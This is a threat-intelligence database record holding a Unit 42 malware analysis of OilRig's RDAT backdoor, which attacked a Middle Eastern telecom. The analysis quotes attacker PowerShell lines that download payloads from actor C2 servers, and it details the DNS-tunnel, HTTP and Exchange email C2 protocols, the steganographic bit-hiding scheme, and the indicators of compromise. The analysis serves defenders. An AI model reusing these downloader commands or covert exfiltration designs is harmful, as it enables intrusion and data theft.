{ "id": "3fcbe5ce-4e9f-4f9e-89f6-1242409d84dd", "created_at": "2026-04-06T00:11:31.009109Z", "updated_at": "2026-04-10T03:37:36.70439Z", "deleted_at": null, "sha1_hash": "cbd0c94b5a680071e4dfbf740e8513da8f295afb", "title": "OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 2052073, "plain_text": "OilRig Targets Middle Eastern Telecommunications Organization\r\nand Adds Novel C2 Channel with Steganography to Its Inventory\r\nBy Robert Falcone\r\nPublished: 2020-07-22 · Archived: 2026-04-05 18:36:57 UTC\r\nExecutive Summary\r\nWhile analyzing an attack against a Middle Eastern telecommunications organization, we discovered a variant of\r\nan OilRig-associated tool we call RDAT using a novel email-based command and control (C2) channel that relied\r\non a technique known as steganography to hide commands and data within bitmap images attached to emails.\r\nIn May 2020, Symantec published research on the Greenbug group targeting telecommunications organizations in\r\nSoutheast Asia, involving attacks made as recently as April 2020. We observed similar tactics and tools associated\r\nwith attacks on a telecommunications organization in the Middle East in April 2020, specifically using custom\r\nMimikatz tools, Bitvise, PowerShell downloaders and a custom backdoor we track as RDAT. Unit 42 has\r\npreviously linked Greenbug to OilRig, a threat group we discovered in 2015. We had first seen the RDAT tool\r\nused in OilRig's operations back in 2017, but we later found a related sample created in 2018 that used a different\r\ncommand and control channel. When we analyzed this sample, we found a novel email-based C2 channel used in\r\ncombination with steganography to exfiltrate data.\r\nWe have been tracking RDAT since 2017, when we first saw this tool uploaded to a webshell related to the\r\nTwoFace webshell discussed in our Striking Oil blog published on September 26, 2017. RDAT has been under\r\nactive development since 2017, resulting in multiple variations of the tool that rely on both HTTP and DNS\r\ntunneling for C2 communications. In June 2018, the developer of RDAT added the ability to use Exchange Web\r\nServices (EWS) to send and receive emails for C2 communications. This email-based C2 channel is novel in its\r\ndesign, as it relies on steganography to hide commands and exfiltrates data within BMP images attached to the\r\nemails. The combination of using emails with steganographic images to carry the data across the C2 can result in\r\nthis activity being much more difficult to detect and allow for higher chances of defense evasion.\r\nPalo Alto Networks customers are protected by WildFire and Cortex XDR, which identifies all RDAT samples as\r\nmalicious, as well as DNS Security and URL Filtering, which identifies and blocks the C2 activity.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 1 of 16\n\nAttack Details\r\nWe first discovered the existence of RDAT on October 7, 2017, when we observed it being uploaded to a webshell\r\n11 days after we had published our research exposing webshell activity by this adversary. We believe the group\r\nattempted to use the RDAT payload for continued access to the server once the use of the webshell was exposed.\r\nIn April 2020, we observed activity involving the potential breach of a telecommunications organization in the\r\nMiddle East. The files associated with this activity included custom Mimikatz samples for dumping credentials, a\r\nsample of the Bitvise client we believe was used to create SSH tunnels, and a custom backdoor called RDAT.\r\nFrom the initial RDAT sample we collected, we were able to expand the sample set and relate previously seen\r\nISMDOOR samples as well. Given the combination of the use of RDAT in OilRig-related webshells, code\r\nsimilarities and tactical similarities, we are confident RDAT is a tool deployed by OilRig.\r\nTwo of the related tools collected had PDB paths similar to ones we had seen in the past. The PDB paths were\r\nC:\\Users\\Void\\Desktop\\dns\\client\\x64\\Release\\client.pdb and\r\nC:\\Users\\Void\\Desktop\\RDAT\\client\\x64\\Release\\client.pdb, the latter of which is the basis of the tool name.\r\nUsing the file path of the user in the PDB string of C:\\Users\\Void\\Desktop as shown in Figure 1, we gathered over\r\na dozen samples with that file path, with most of the samples identified as a known OilRig tool called ISMDOOR.\r\nConsidering the small cluster of related tools, it is highly likely these have been developed by a single adversary\r\nor adversary group with control over the codebase.\r\nFigure 1. Pivots from PDB strings\r\nWe also observed PowerShell downloaders attempting to retrieve files from the domain digi.shanx[.]icu.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 2 of 16\n\nFigure 2. PowerShell and infrastructure overlaps\r\nIn Symantec’s Greenbug report, once the adversary gained interactive access to target hosts, they were observed\r\nexecuting PowerShell commands to perform post-exploitation activities. In one instance, a Powershell script was\r\nexecuted to retrieve RDAT from the C2 apps.vvvnews[.]com, save it to C:\\Programdata\\Nt.dat, and move it to\r\nC:\\Programdata\\Vmware\\VMware.exe as seen in the following snippet:\r\n(New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews .com:8080/Yf.dat',\r\n'C:\\Programdata\\Nt.dat');\r\nmove C:\\Programdata\\Nt.dat C:\\Programdata\\Vmware\\VMware.exe -force;\r\nDuring our research, we collected a very similar PowerShell script using a different C2 and with some variations\r\nin commands, but with the same file path of C:\\Programdata\\Nt.dat:\r\n$WebClient = New-Object System.Net.WebClient; $WebProxy = New-Object\r\nSystem.Net.WebProxy('http://192.168.3.4:8080',$true); $WebClient.Proxy = $WebProxy;Try\r\n{$WebClient.DownloadFile('http://digi.shanx[.]icu:8080/Nt.dat','C:\\Programdata\\Nt.dat')} Catch\r\n{$_.Exception.Message | out-file C:\\Programdata\\Exceptions.dat};\r\nUnfortunately, we could not verify the contents of Nt.dat due to the C2 server http://digi.shanx[.]icu:8080 being\r\nunavailable at the time of analysis.\r\nRDAT Backdoor\r\nThe adversaries compiled the RDAT payloads used in the attacks on the Middle Eastern telecommunications\r\norganization on March 1, 2020, and configured it to use a domain provided on the command line or the hardcoded\r\ndomain rsshay[.]com as its C2 server. Unlike previous RDAT samples, this particular sample only uses DNS\r\ntunneling for its C2 communications with no HTTP fallback channel. This RDAT sample can only use TXT\r\nqueries in its DNS tunnel and will issue queries structured like the following:\r\n\u003cencoded data\u003e.\u003cencoding method, 0 for base64 or 1 for base32\u003e\u003cencryption key\u003e.\u003cC2 domain\u003e\r\nThe encoded data portion of the subdomain is encoded base32 if the actor includes a command line argument 1 –\r\notherwise, it uses base64. The payload also substitutes characters within the base64 encoded subdomain to avoid\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 3 of 16\n\nincluding characters that are not allowed in domain names, such as = with -, / with _ and + with -a. For example,\r\nwe observed the following beacon during our testing:\r\n91mzXgXT-a9sLktr-aOz8pAw--.0R2.rsshay[.]com\r\nThe encoded data in the beacon (subdomain) is ciphertext generated using AES and a 16-byte key generated by\r\nconcatenating two randomly chosen alphanumeric characters that are also present in the subdomain immediately\r\nbefore the C2 domain. For instance, if the two random alphanumeric characters included in the subdomain were\r\nR2, the payload would use the string R2R2R2R2R2R2R2R2 as a key to encrypt the data. The example beacon\r\nabove would decrypt to 1,6,1.0_Y,2619, which is structured as follows:\r\n\u003ccommunications type value\u003e,\u003cID value from config\u003e,\u003chardcoded payload version\u003e,\u003crandomly generated\r\nnumber\u003e\r\nThe payload decodes the response for an answer to the TXT query with base64 and decrypts using the same AES\r\ncipher and key as the request. The payload attempts to parse the decrypted cleartext using the regular expression\r\n“[^,]+” to get the command value and the command arguments that are split with a comma. The payload then\r\nchecks the command value using a command handler that has the ability to execute commands and upload and\r\ndownload files, as seen in Table 1.\r\nCommand Description\r\n0 Idle.\r\n1\r\nRun specified command. Creates write and read pipes to issue the command and read the\r\noutput and sends the results to the C2 over the DNS tunnel.\r\n2\r\nUploads a file to the C2 by reading in a specified file and sending its contents over the DNS\r\ntunnel in chunks.\r\n3 Downloads a file via the DNS tunnel.\r\nTable 1. Commands available in RDAT\r\nRelated RDAT\r\nDuring our research, we gathered several additional samples by pivoting on the contents of the executables and\r\nother various attributes. Table 2 shows when these samples were compiled, their respective C2 server and the\r\nservice name they use when the actor installs them on the compromised system. As shown by the compilation\r\ntimes, this tool has been in development since 2017, with the most recent sample we collected being compiled in\r\nApril 2020. The sample compiled in August 2017 was uploaded to a webshell related to TwoFace, while the\r\nsamples compiled in March 2020 were used in the attack on the Middle Eastern telecommunications organization.\r\nThe RDAT sample compiled in April 2020 was also delivered to the same telecommunications organization,\r\nwhich was configured to use new infrastructure (sharjatv[.]com, wwmal[.]com) and supported both DNS A and\r\nAAAA records for its DNS tunneling C2 channel.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 4 of 16\n\nThe most interesting sample we discovered was compiled on July 24, 2018. This sample included a novel C2\r\nchannel that used the Exchange Web Services (EWS) API to send and receive emails containing steganographic\r\nimages as attachments. This novel C2 channel supplemented the HTTP and DNS tunneling C2 channels seen in\r\nother RDAT samples, all of which we will discuss in detail in the upcoming sections.\r\nSHA256 Compiled C2 Service Name\r\n7395a3ada245.. 2017-08-07 Provided as argument Service\r\n8f943bc5b205.. 2018-03-13 Provided as argument My Sample Service\r\n8120849fbe85.. 2018-07-24\r\nallsecpackupdater[.]com\r\ntacsent[.]com\r\nkoko@acrlee[.]com\r\nh76y@acrlee[.]com\r\nN/A\r\nbcdb63b3520e.. 2018-08-27 Provided as argument N/A\r\nf42c2b40574d.. 2018-09-09 Provided as argument My Sample Service\r\nfcabb86331cd.. 2018-09-09 Provided as argument My Sample Service\r\n7b5042d3f0e9.. 2019-09-17 Provided as argument Windows Video Service\r\nee32bde60d11.. 2019-11-04 Provided as argument N/A\r\nde3f1cc2d4aa.. 2019-11-11 Provided as argument My Sample Service\r\n4ea6da6b35c4.. 2020-03-01 rsshay[.]com Windows Video Service\r\nacb50b02ab0c.. 2020-03-01 rdmsi[.]com Windows Video Service\r\n55282007716b.. 2020-03-01 rdmsi[.]com Windows Video Service\r\nba380e589261.. 2020-03-01 rsshay[.]com Windows Video Service\r\n6322cacf839b.. 2020-04-04\r\nsharjatv[.]com\r\nwwmal[.]com\r\nMy Sample Service\r\nTable 2. Related RDAT samples\r\nNovel C2 Using Exchange Web Services and Steganography\r\nThe novel C2 channel in the RDAT sample uses email for a C2 channel by interacting with the local Exchange\r\nserver with the EWS API. There are two hardcoded actor-controlled email addresses: koko@acrlee[.]com and\r\nh76y@acrlee[.]com. These two email addresses are used by the RDAT payload to send and receive emails to\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 5 of 16\n\nfacilitate C2. To send emails from the compromised host, the payload uses the email associated with the account\r\nlogged into the compromised host, as it uses the WinHTTP library to make requests to the API with the\r\n\"WINHTTP_OPTION_AUTOLOGON_POLICY\" field set to\r\n'WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW', which automatically attempts to log onto Exchange\r\nusing the default credentials.\r\nThe actor communicates with the payload by sending emails from one of two email addresses to the email address\r\nof the compromised account. To receive emails from the actor, the payload will:\r\nInitially create an inbox rule to move actor’s emails to the junk folder.\r\nContinually look in the junk folder for actor-sent emails that have attachments.\r\nProcess attachments for inbound commands hidden within BMP images.\r\nTo communicate with the actor, the payload sends emails from the account logged into the compromised system\r\nand performs the following actions:\r\nCreates a draft email with the actor-controlled email address in the “To” field.\r\nAttaches a BMP image with a hidden message or data to exfiltrate to the draft.\r\nSends the draft to the actor’s email address.\r\nTo show this channel, we analyzed the outbound HTTP POST requests to the EWS API and took screenshots of\r\nthe requests. The POST requests all have an anomalous “User-Agent” of “firefox” and use Simple Object Access\r\nProtocol (SOAP) messages to interact with the Exchange server. The first request has a SOAP message to create\r\nan inbox rule named \"ExchangeRule\" that moves all inbound emails from the C2 email addresses to the\r\n\"junkemail\" folder. Figure 3 shows the HTTP POST request containing the SOAP message that creates this inbox\r\nrule. The rule name is highlighted in the red box, the condition that includes the actor’s email address in the blue\r\nbox and the action to move it to the junk folder in the green box.\r\nFigure 3. HTTP POST request creating the inbox rule to move emails from actor to the junk folder\r\nThe payload will then continually look for new emails from the actor in the junk folder. The payload will issue a\r\nrequest to the EWS API to check for unread emails from the actor’s email addresses with an attachment. Figure 4\r\nshows the HTTP POST the payload issues to check for inbound emails from the actor, with the actor’s email\r\naddress in the red box, the check for an attachment in the blue box and the junk folder specified in the green box.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 6 of 16\n\nFigure 4. HTTP POST request sent to the Exchange server looking for inbound emails from actor\r\nIf the payload obtains an email sent by the actor, the payload will process the response to the SOAP request and\r\nsend additional requests to the EWS API to get the email, the attachment and the contents of the attachment. The\r\npayload processes the responses to these requests using regular expressions to find specified values within the\r\nXML. The payload uses the regular expressions to find the following values within the server’s response:\r\nId and ChangeKey to get the specified email.\r\nAttachmentId Id to get the attachment from the email.\r\n\u003ct:Content\u003e and \u003c/t:Content\u003e to get the contents of the attachment.\r\nIt then saves this content to a file in the %TEMP% folder with a \".bmp\" file extension. It then issues a SOAP\r\nrequest to delete the processed email. This completes the process in which the payload receives inbound\r\ncommunications from the actor.\r\nTo send its beacon and exfiltrate data to the actor, the payload will interact with the EWS API to perform the\r\nfollowing three steps:\r\n1. Save a draft email with the actor’s email address in the “To” field.\r\n2. Attach the BMP image containing the hidden data to the saved draft email.\r\n3. Send the saved draft email.\r\nFigure 5 shows the draft email with the BMP image attached immediately prior to being sent. The figure shows\r\nthe actor’s email address in the “To” field, the BMP image with hidden data as the attachment, and subjects and\r\nmessage bodies containing strings of an unknown purpose.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 7 of 16\n\nFigure 5. Screenshot of Outlook Web App showing the email draft created by the payload prior to it being sent to\r\nthe actor\r\nTo carry out this functionality, the payload creates an email and saves it as a draft. This allows it to attach the\r\nimage containing the hidden data prior to sending the email. Figure 6 shows the SOAP request to the EWS API,\r\nspecifying that the server should save the email to the drafts folder in the red and blue boxes and the actor’s email\r\naddress in the green box.\r\nFigure 6. HTTP POST request creating the email draft prior to attaching the image\r\nWith the email saved in the drafts folder, the payload will then attach the BMP image to the email using an HTTP\r\nPOST request to the EWS API. Figure 7 shows the request to the EWS API that includes the filename of the\r\nattachment in the red box and the base64 content of the attachment in the blue box.\r\nFigure 7. HTTP POST request attaching the image to the email draft\r\nThe payload issues one last request to the EWS API to send the email draft with the attached BMP image to the\r\nactor. Figure 8 shows the HTTP POST request issued by the payload to send the email with the SendItem action\r\nhighlighted in the red box.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 8 of 16\n\nFigure 8. HTTP POST request sending the email draft to the actor’s email address\r\nHiding Data with Steganography\r\nThe payload will receive data from and exfiltrate data to the C2 within email attachments, specifically within the\r\nBMP images that use steganography to hide the data within the image. The method with which the payload\r\nextracts data from the BMP image to receive data from the C2 is the same as its method for hiding data to\r\nexfiltrate. While we did not observe the C2 using this method to send commands, we were able to analyze the\r\npayload to determine how it would send messages and exfiltrate data from the system.\r\nTo send data using this C2 channel, the payload will read the following image available on a default install of\r\nWindows:\r\nC:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp\r\nDepending on the version of Windows, the “guest.bmp” image differs in size and contents.The image from\r\nWindows 7 is 128x128 pixels and contains an image of a suitcase, while the Windows 10 image is 448x448 pixels\r\nand contains a generic user icon. Figure 9 shows the two images extracted from default installations of Windows 7\r\nand 10 with the latter scaled down in size.\r\nFigure 9. The “guest.bmp” image from Windows 7 on the left and Windows 10 on the right\r\nThe payload determines the height, width and color depth of the image and calculates how many images it will\r\nneed to modify to send the entirety of the data:\r\n(length of data)/(width*(height-1))\r\nIt uses the modulo operator to check if there is data that does not fit in the previous image and will add one to the\r\nrequired image count if leftover data exists. The payload then iterates through the data by grabbing a substring of\r\nthe data that will fit within the image.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 9 of 16\n\nTo explain how the payload hides data within this image, we must first briefly explain the BMP file format. The\r\nBMP file format includes file headers and an array of values used to store the red, green and blue color values of\r\neach pixel in the image. The format of each color value in the array of color values varies depending on the color\r\ndepth, as 24-bit BMP images will use 3-byte values that are used to specify the intensities of red, blue and green\r\ncolors for each pixel in the image, while 32-bit images use 4-byte values. The RDAT payload can support both 24-\r\nand 32-bit images. Since both “guest.bmp” images from Windows 7 and 10 are 24-bit images, we observed the\r\npayload using the 3-byte color values for each pixel to hide data. The payload will modify each pixel’s 3-bytes to\r\ntransmit one byte of exfiltrated data. By spreading the data byte over the 3-bytes for each pixel, the impact on the\r\noriginal image is minor and difficult to visualize. Figure 10 compares the original image from Windows 7 and the\r\nmodified image carrying the hidden data.\r\nFigure 10. Original “guest.bmp” image from Windows 7 on the left and the modified carrier image on the right\r\nFigure 10 shows how difficult it is to see the hidden data embedded within the BMP image. We zoomed in on the\r\n29 pixels modified to carry the data to visualize the differences and found that they differed slightly in color, as\r\nseen in the comparison in Figure 11. All the pixels in the two images are different. However, some of the\r\ndifferences in color are more obvious than others.\r\nFigure 11. This zoomed-in view shows the original pixels on top and pixels carrying 29-bytes of data on the\r\nbottom\r\nTo hide the data within the image, the payload will check the color depth of the “guest.bmp” image for either 24-\r\nor 32-bit depth, which allows the payload to determine how many bytes per pixel it will need to spread the bits of\r\nthe hidden data across. For instance, a 24-bit BMP image like \"guest.bmp\" from Windows 7, seen in Figure 10\r\nabove, will have three bytes per pixel in the image that represents the red, green and blue values for that pixel.\r\nUsing this 24-bit image, the payload will spread the 8-bits of the data byte across these three bytes, specifically by\r\nsetting the least significant bit values in the pixel bytes to the bit values of the data byte.\r\nLet's use the example data 8,54351-1616479009,0 from a beacon sent from the payload to the C2, which it will\r\nencode using base64 to OCw1NDM1MS0xNjE2NDc5MDA5LDA=, append the @ symbol and embed within a\r\nBMP image. The O ASCII character has a hexadecimal value of 0x4f, which is 01001111 in base2. The 8-bits of\r\nthis base2 representation are then used to set specific bits within the 3-bytes for each pixel:\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 10 of 16\n\nData bits 0 and 1 replacing the first pixel byte's bits 1 and 0.\r\nData bits 2, 3 and 4 replacing the second pixel byte’s bits 2, 1 and 0.\r\nData bits 5, 6 and 7 replacing the third pixel byte's bits 2, 1 and 0.\r\nUsing this logic, the payload will read the pixel bytes from the “guest.bmp” image, which is 0xe4, 0xdf and 0xb9\r\nand replace the following bits using the base2 of 010 011 11 for O:\r\nReplace bits 2, 1 and 0 within 0xe4 with 010, which results in 0xe2.\r\nReplace bits 2, 1 and 0 within 0xdf with 110, which results in 0xde.\r\nReplace bits 1 and 0 within 0xb9 with 11, which results in 0xbb.\r\nFigure 12 below shows how these bit replacements occur and how the replacements ultimately change the values\r\nof the pixel's bytes.\r\nFigure 12. Visual explanation of the bit replacement performed on each pixel to hide data in the BMP images\r\nHTTP and DNS Tunneling C2 Channels\r\nThe RDAT sample with the novel EWS C2 channel also had HTTP and DNS tunneling as C2 channels as well,\r\nwhich are very similar to other RDAT samples we collected. The HTTP C2 channel uses HTTP POST requests to\r\ntransmit data to the C2 server. The code contains the following two domains:\r\nallsecpackupdater[.]com\r\ntacsent[.]com\r\nIt should be noted that the code only attempts to use the tacsent[.]com domain for its HTTP C2 channel. We are\r\nunsure why the code contains the allsecpackupdater[.]com domain as it does not attempt to communicate with it,\r\nbut it is possible that it is an artifact from a previous version of the tool. This domain was previously tied to the\r\nOilRig threat group, as ClearSky discovered this domain in 2017 and noted its relation to Greenbug’s ISMDOOR\r\ntool.\r\nThe HTTP POST requests have a custom \"From:\" field in the header that has a unique identifier assigned to the\r\ninfected system. The HTTP POST request will contain a \"v\" parameter and a random number in the URL and a\r\nuser-agent of \"chrome.\" Figure 13 shows an example of an HTTP POST issued by the payload as its initial beacon\r\nto the C2, which shows the anomalous user-agent “chrome” and custom “From” field.\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 11 of 16\n\nFigure 13. Initial beacon sent by RDAT sample over its HTTP C2 channel\r\nThe payload encrypts the data sent in the POST request using the AES cipher, specifically in CBC mode. To\r\ndecrypt this data, the data itself is first converted from the URL-safe hexadecimal percent encoded characters to\r\ntheir /, + and = character equivalent. After this conversion, the resulting data is decoded using base64 and then\r\ndecrypted using AES and the value in the From field as a key and initialization vector (IV). For instance, using the\r\nFrom value for the key and IV to decrypt the POST data with the AES cipher produces the following cleartext:\r\n1,1543511637567325,12031\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\r\nThe payload will check the C2 server's response to this HTTP POST for a , using a regular expression [^,]+ to\r\ndetermine if the C2 provided a command. The payload can only exfiltrate 102,400 bytes of data at a time, which it\r\nuses a field in the exfiltrated response to notify the C2 of the offset of the data so the C2 can reconstruct it.\r\nThe DNS tunneling protocol is very similar to the protocol discussed earlier in this blog, as it uses the second level\r\nsubdomain for its AES key but uses four characters instead of two. It also uses the same character replacement of\r\n= with -, / with _ and + with -a to remove characters that are not allowed in domain names, as did the RDAT\r\nsample used in the attacks on the Middle Eastern telecommunications organization. The DNS tunnel for this\r\nsample used DNS A record queries and the same domain as the HTTP C2 channel, which generates an initial\r\nbeacon that will resemble the following:\r\nP9rktZsukI5RVAdZWSR-a6uVYKeQJ-azhVLzUUfGs1TDQ-.fN26.tacsent[.]com\r\nTo decrypt this beacon, the C2 uses the second level subdomain to create an AES key and IV of\r\nfN26fN26fN26fN26, which is the second-level domain used four times to create a 16-byte string. The resulting\r\ncleartext would contain the following message, which is a comma-separated string that includes communication\r\ntype and a unique system identifier:\r\n3,1543511637567325,0\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\r\nTo exfiltrate data using this DNS tunneling protocol, the payload will add additional subdomains to query,\r\nspecifically a field for the data sequence number and a field for the exfiltrated data. For instance, the following\r\nDNS query sends system information to the C2:\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 12 of 16\n\n1.44gkxXizTF3QJU0F2AllV_0qhr1xcYmy8GeMB6nnGNSw0bls7JpP0zIqvnyO.xEZlrurmSHgf\r\nuoAcqi9blguWDzwH9oQCWZ-aTeBSBE2M-.tJ8z.tacsent[.]com\r\nThe fifth-level subdomain is a data sequence number that allows the C2 server to reassemble the data, which will\r\nstart with 1 and increment by 60 as the DNS tunneling protocol sends 60-bytes of encoded ciphertext within each\r\nDNS request. The fourth-level subdomain contains the 60-bytes of encoded ciphertext that RDAT sends to the C2,\r\nwhile the third- and second-level subdomains are the same as the beacon. In the above example, the AES key and\r\nIV would be tJ8ztJ8ztJ8ztJ8z, which would decrypt the third-level subdomain to the following cleartext:\r\n2,1543511637567325,0\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\r\nUsing the same AES key and IV, the cleartext in the fourth-level subdomain includes the system information,\r\nwhich in the above example would produce:\r\n1:|2:MicrosoftWindows7Professionw\\x01\r\nRegardless of the C2 channel used, the RDAT sample parses responses using a command handler to determine the\r\ncourse of action to take. Table 3 shows the commands available within the command handler, as well as the\r\nstructure of the response message the payload would send to the C2. The command handler in this RDAT sample\r\nhas more capabilities compared to the three commands available in the sample seen in the attacks on the Middle\r\nEastern telecommunications organization.\r\nCommand\r\nStructure\r\nResponse structure Description\r\n0, Idle.\r\n1,\u003ctask\r\nnumber\u003e,\r\n\u003cbase64\r\nencoded\r\ncommand to\r\nexecute\u003e\r\n2,\u003c16-char system\r\nidentifier\u003e,\u003ctask\r\nnumber\u003e,\u003cbase64\r\nencoded results\u003e,\r\n\u003coffset in data\u003e,\r\n\u003ctotal data length\u003e\r\nExecutes command using \"cmd.exe /c\"\r\n2,\u003ctask\r\nnumber\u003e,\r\n\u003ccleartext\r\nfilename\u003e\r\n3,\u003c16-char system\r\nidentifier\u003e,\u003ctask\r\nnumber\u003e,\u003cbase64\r\nencoded file\r\ncontents\u003e,\u003coffset in\r\ndata\u003e,\u003ctotal data\r\nlength\u003e\r\nUploads a specified file from the system.\r\n3,\u003ctask\r\nnumber\u003e,\r\n4,\u003c16-char system\r\nidentifier\u003e,\u003ctask\r\nnumber\u003e,\u003coffset in\r\nDownloads a file from the C2 response to a temporary file named\r\n%TEMP%\\tmp\u003crandom number\u003e. Downloads 81,920 bytes at a\r\ntime by sending HTTP POST requests with a communications\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 13 of 16\n\n\u003cfilename\u003e,\r\n\u003cfile size\u003e\r\ndata\u003e,\u003crandom\r\nnumber\u003e\r\ntype of \"4\" with the offset in the data it wishes to receive and\r\nparsing the response for data it will write to the file. Payload then\r\nopens the file, base64 decodes and decrypts its contents with AES\r\nCBC. Sends \"-1\" as the offset to C2 to notify the C2 that it\r\ndecoded/decrypted the temporary file and wrote it to the specified\r\nfile.\r\n5,\u003ctask\r\nnumber\u003e\r\n6,\u003c16-char system\r\nidentifier\u003e,\u003ctask\r\nnumber\u003e,\u003cbase64\r\nencoded\r\nscreenshot\u003e,\u003cunk,\r\nsize?\u003e\r\nTakes a screenshot, encodes it as a JPEG, base64 encodes the\r\nJPEG image.\r\n6,\u003ctask\r\nnumber\u003e\r\n7,\u003c16-char system\r\nidentifier\u003e,\u003ctask\r\nnumber\u003e,\"\u003cEOF\u003e\"\r\nKills the payload's process and reruns it using the \"-r\" command\r\nline switch by running the following on the command line:\r\ntaskkill /f /pid \u003ccurrent PID\u003e \u0026\u0026 \u003ccurrent executable path\u003e\r\n7,\u003ctask\r\nnumber\u003e\r\n7,\u003c16-char system\r\nidentifier\u003e,\u003ctask\r\nnumber\u003e,\"\u003cEOF\u003e\"\r\nUninstalls the payload by running the following on the command\r\nline: taskkill /f /pid \u003ccurrent PID\u003e \u0026\u0026 del /f \u003ccurrent executable\r\npath\u003e\r\nTable 3. Commands available within the RDAT sample that used the novel EWS C2 channel\r\nConclusion\r\nThe RDAT backdoor has been used by the OilRig threat group for at least three years to target organizations in the\r\nMiddle East, with the most recent known activity occurring in April 2020 against a telecommunications\r\norganization. Over the course of three years, this tool has received continued development efforts that have\r\nresulted in multiple variations with differences in functionality and available C2 channels. The majority of\r\nsamples used some combination of HTTP and DNS tunneling channels, with the single exception where we\r\ndiscovered the developer leveraging Exchange Web Services to send and receive emails to and from the actor\r\nusing steganographic image file attachments. The use of a novel C2 channel in combination with steganography\r\nshows the continued evolution and development of different tactics and techniques by this adversary over time.\r\nPalo Alto Networks customers are protected in the following ways:\r\nAll RDAT samples have malicious verdicts in WildFire and have protections in place through Cortex XDR.\r\nDNS tunneling protocols used for C2 communications are blocked via DNS Security.\r\nAll C2 domains are classified as Command-and-Control for URL Filtering.\r\nAutoFocus customers can monitor activity via the rdat_backdoor tag.\r\nAppendix\r\nFiles Associated with Attack on Telecommunications Organization\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 14 of 16\n\n4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec - RDAT backdoor\r\ne53cc5e62ba15e43877ca2fc1bee16061b4468545d5cc1515cb38000e22dd060 - Custom Mimikatz\r\n476b40796be68a5ee349677274e438aeda3817f99ba9832172d81a2c64b0d4ae - Bitvise client\r\n78584dadde1489a5dca0e307318b3d2d49e39eb3987de52e288f9882527078d5 - PowerShell downloader\r\nRDAT Samples\r\n7395a3ada245df6c8ff1d66fcb54b96ae12961d5fd9b6a57c43a3e7ab83f3cc2\r\n8f943bc5b20517fea08b2d0acc9afe8990703e9d4f7015b98489703ca51da7eb\r\n8120849fbe85179a16882dd1a12a09fdd3ff97e30c3dfe52b43dd2ba7ed33c2a\r\nbcdb63b3520e34992f292bf9a38498f49a9ca045b7b40caab5302c76ca10f035\r\nf42c2b40574dc837b33c1012f7b6f41fcccc5ebf740a2b0af64e2c530418e9e0\r\nfcabb86331cd5e2fa9edb53c4282dfcb16cc3d2cae85aabf1ee3c0c0007e508c\r\n7b5042d3f0e9f077ef2b1a55b5fffab9f07cc856622bf79d56fc752e4dc04b28\r\nee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc\r\nde3f1cc2d4aac54fbdebd5bd05c9df59b938eb79bda427ae26dedef4309c55a9\r\n4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec\r\nacb50b02ab0ca846025e7ad6c795a80dc6f61c4426704d0f1dd7e195143f5323\r\n55282007716b2b987a84a790eb1c9867e23ed8b5b89ef1a836cbedaf32982358\r\nba380e589261781898b1a54c2889f3360db09c61b9155607d7b4d11fcd85bd9d\r\n6322cacf839b9c863f09c8ad9fd0e091501c9ba354730ab4809bb4c076610006\r\nRDAT C2 Domains\r\nrdmsi[.]com\r\nrsshay[.]com\r\nsharjatv[.]com\r\nwwmal[.]com\r\nallsecpackupdater[.]com\r\ntacsent[.]com\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 15 of 16\n\nacrlee[.]com\r\nkopilkaorukov[.]com\r\nRelated Infrastructure\r\ndigi.shanx[.]icu\r\ntprs-servers[.]eu\r\noudax[.]com\r\nkizlarsoroyur[.]com\r\nintelligent-finance[.]site\r\nSource: https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nhttps://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/\r\nPage 16 of 16", "extraction_quality": 1, "language": "EN", "sources": [ "MISPGALAXY", "MITRE", "Malpedia", "ETDA" ], "references": [ "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/" ], "report_names": [ "oilrig-novel-c2-channel-steganography" ], "threat_actors": [ { "id": "e58deb93-aff1-4be5-8deb-37fe8af0b7ed", "created_at": "2022-10-25T16:07:23.918534Z", "updated_at": "2026-04-10T02:00:04.789509Z", "deleted_at": null, "main_name": "Greenbug", "aliases": [ "Greenbug", "Volatile Kitten" ], "source_name": "ETDA:Greenbug", "tools": [], "source_id": "ETDA", "reports": null }, { "id": "cffb3c01-038f-4527-9cfd-57ad5a035c22", "created_at": "2022-10-25T15:50:23.38055Z", "updated_at": "2026-04-10T02:00:05.258283Z", "deleted_at": 